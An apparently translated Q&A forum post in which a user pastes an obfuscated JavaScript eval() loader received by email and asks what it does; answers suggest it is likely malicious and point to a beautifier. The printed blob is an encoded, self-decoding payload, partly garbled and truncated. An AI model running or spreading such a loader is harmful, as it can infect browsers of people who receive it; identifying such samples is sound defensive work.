What does this code (in the description) mean?

Question

JavaScript

Came by mail:
//// ce74ab263f1a6d8857ece74ab263f1a6d8857e
//// c0d0f50ef3c36adc726c0d0f50ef3c36adc726
eval((function(){var d=[94,74,90,71,81,86,88,85,75,89,706 ,76,60,79,87,72,80,65];var e=[];
//// 7cc38afa221689d590f7cc38afa221689d590f
for(var b=0;b=0;g--){var h=null;var i =f[g];var j=null;var k=0;var l=i.length;var m;
//// 9218c3e42e8927a98239218c3e42e8927a9823
for(var n=0;nk)j.push(i.substring(k,m));j.push(f[h+1]);k=n+1;}if(j!=null){ if(k=0;g--^ShJ3^ti=Bc^tjJ3^tk=0^tl=i^.var m^\'n=0;[email protected];n++^So=^ )^tp=e [o]BdpBb(p-1)@B`^ +1^$+^1if([email protected]^6+(^ +1)-32)@B`^ +2^$=2^1continue }}Bdj=J3){j=[]}Bdm>k){j^R^!,mKRj^Rf[h+1]);k=n+1;}Bdj!J3){if([email protected] ){j^R^!KRBc=j^U"Ba;};q^Rf[0]);}^tr=q^U"")^tx="abcdefghijklmnopqrstuvwxyz"^tc=[96,42,126,39 ,92,10].concat(d)^\'^buc^.Jjr=^0"@!"[email protected](b))^UString.fromCharCode(c[b]KRreturn ^0"@! !")^U"@!Ba)("eval((function(@g?d=[94,74,90,71,81,86,88,85,75,89,66,82,70,76 ,60,79,87,72,80,65]^=0;[email protected][email protected]^k){[email protected]^!,[email protected][h+1]);k=n+1;}@[email protected]){if([email protected]!ul){[email protected]^[email protected] g^NeBa;};[email protected][0]);}^np+EUbsrE6876BeX|[email protected]@[email protected]%[email protected]@[email protected]@j}[email protected]@[email protected][email protected] [email protected]@j>ou8KS{[email protected][email protected]@ljwNX>Vf)/[email protected]}[email protected][email protected][email protected]{[email protected],@g2wDkr/@t-h0sNV6 | xSsS + Qe (yky1pZ @ yMkaX8nuQ-yprwuD7azKT + vk3zMl6Tk @ hq @ k4 @ nh0b @ ir9e @ kuk6Z74n @ t0mpT5k72ktG) xo1n @ g = x9ZI42GQspG l @ rhkS @ liD905V73k @ pTbZK8 @ g & 0Z: INZBMt @ lMI @ jlyux @ p> VdwbE4C6xU! [js8U [email protected][email protected]@rX{D1yg6D/@[email protected]*@lEoJ>[email protected]/XEX;[email protected];!oxC6+Xxh/[email protected]!o%M^Tbmzt1EJ9ksl^{ seEBiZ;[email protected]:zgG&[email protected]@i:dNZI6cU [email protected][email protected]}[email protected]!hus3/1/[email protected]@i>h5Zq!n% tT @ onV = KUvz @ jjoBjmbU] MQn6 + l8TSkV3 # E2DJk5 / c4 + dgJ) i @ mpZbkU \\ c671 @ pD7ZCGrE @ io898rC4QK} Cmo6MMwrMVk1jESle4eZ8cG5o @ j {6VgnbTZXm @ moZ] 5Z8IkdU% 2p8M11y6NYJg_ZjohV4 zZ \\ azwuaxUc @ nIBh! qy @[email protected]@kqZOwuBfV8=NSCwhoXG>[email protected]]@[email protected]/[email protected]@[email protected][email protected]@iyh15cZXgnh64+Z`MEwa8/[email protected]@[email protected]@j,[email protected][email protected] [email protected]@llwYIXFsvBiz6U\'m^H!k>[email protected]@j;[email protected]([email protected]@[email protected]&?neZ_5sMeQ,v4a6g^[email protected]/[email protected]| i?CU^[email protected]{[email protected][email protected]{@[email protected]|@[email protected]/@[email protected]}[email protected]@[email protected]/[email protected]@[email protected] k_ndZ:xG[email protected]%iYK!j @!h%@lEKNj6%[email protected]@i:/[email protected][[email protected][email protected]%[email protected]>iJoxV<[email protected]@[email protected]&cU%[email protected] g.sq/[email protected]<:[email protected]%[email protected]#12Bij/Q0uVlG^;@[email protected]/@g-sZ:[email protected]@[email protected],geQ/|[email protected]{[email protected]#@[email protected][email protected]@jt/Nj^{jsv2Vh:tj448ZZayvgZ^[email protected]@[email protected]!nNs6cDrU%3Z\\ekh^}ibD+Z[rglscMZhc3 ^[email protected]\\@[email protected]>fg91Uk/[email protected];rU\'[email protected] 4BZyB^j]/@iwCMUeb12dTZPVq65B[[email protected]>@k}[email protected][email protected]@[email protected]@ [email protected]:QA][email protected]>lccK[:[email protected][email protected]([email protected];[email protected]@g&[email protected]\\u2YLlK][email protected][email protected]([email protected];[email protected]# [email protected]:[email protected](NrGhwk^[email protected]@izuZo|[email protected][email protected]@[email protected];[email protected]^{j:[email protected]([email protected]/@t)[email protected] @ng/[email protected](a/[email protected],[email protected][email protected]@[email protected]][email protected]@[email protected]\\Gty77pZ=px7Z:eV;^ib9aTZ[dMfV94U_^77U$x+ [email protected]!g zZYx^[email protected],[email protected]^;[email protected][email protected]@i:C+QCx4emYD;G4o33K^5K^[email protected]][email protected][[email protected]@[email protected]@ hafV2([email protected]@!E%[email protected])[email protected]@qNz+96cGtyBzU"([email protected]/[email protected]@inj3nxZB7IZ{[email protected]@[email protected]@[email protected];tD4k2w6eZwcVZ&@[email protected]@[email protected]@[email protected]#sfh3Z51jyG!%[email protected]&@[email protected]@kN1^{mimYET2CaJ#!g%E2NsrBxtG%yxd/6^[email protected] [email protected]@gxo$z/[email protected]>iakoZ{@i>1/[email protected]&YTd]fQ,G)/[email protected]+^[email protected]^[email protected])[email protected]#&[email protected] ][email protected][email protected];2lk6DN/J<]G*,lgQVCvZ|[email protected]@!h,[email protected]|[email protected])[email protected]@[email protected]@j7ZIkZAIl @[email protected]@[email protected]@[email protected]>[email protected]{UN%[email protected]@[email protected][KMxVY9GlQA$tG>[email protected]@[email protected][email protected]/gDgJYEz66Bv/zYF?^7yx2asfX( nXw(kZ:[email protected]@t>][email protected]@g_g&[email protected]/[email protected]@rainbJ_hf38InkEiw^[email protected]#gZDc7G%{/[email protected]@[email protected]?uNZ|DZ|5V :[email protected]@[email protected]@[email protected][email protected]@[email protected]@[email protected]][email protected]@[email protected]@[email protected]@m,j/@[email protected]@! z5Q?V94UkSZ:[email protected]|/[email protected][email protected][email protected]/@meb5tUF0iDGr%[email protected][email protected]@[email protected]_Xn @[email protected]*$yB{DV;Q\'[email protected]&[email protected]}[email protected][email protected]&q+6jjI @i[G`[email protected][email protected])[email protected][email protected][email protected]:uQ&[email protected])[email protected]@[email protected]@[email protected]@kdl/@tEMZ:xw6QE.syQ.([email protected]! q.fuCX\',@[email protected][,[email protected][email protected]%zuScQ^[email protected])[email protected]@iu/TV+NuMbZ62X*=X) [email protected]@[email protected]/ ^F][email protected]@i][email protected]/@[email protected]!q-...

Answer 1

Obfuscated javascript code. What he does is not clear. But hardly anything good. :) Perhaps it displays some hidden frames, banners... Or exploits some holes in the browser to execute malicious code.

Answer 2

jsbeautifier.org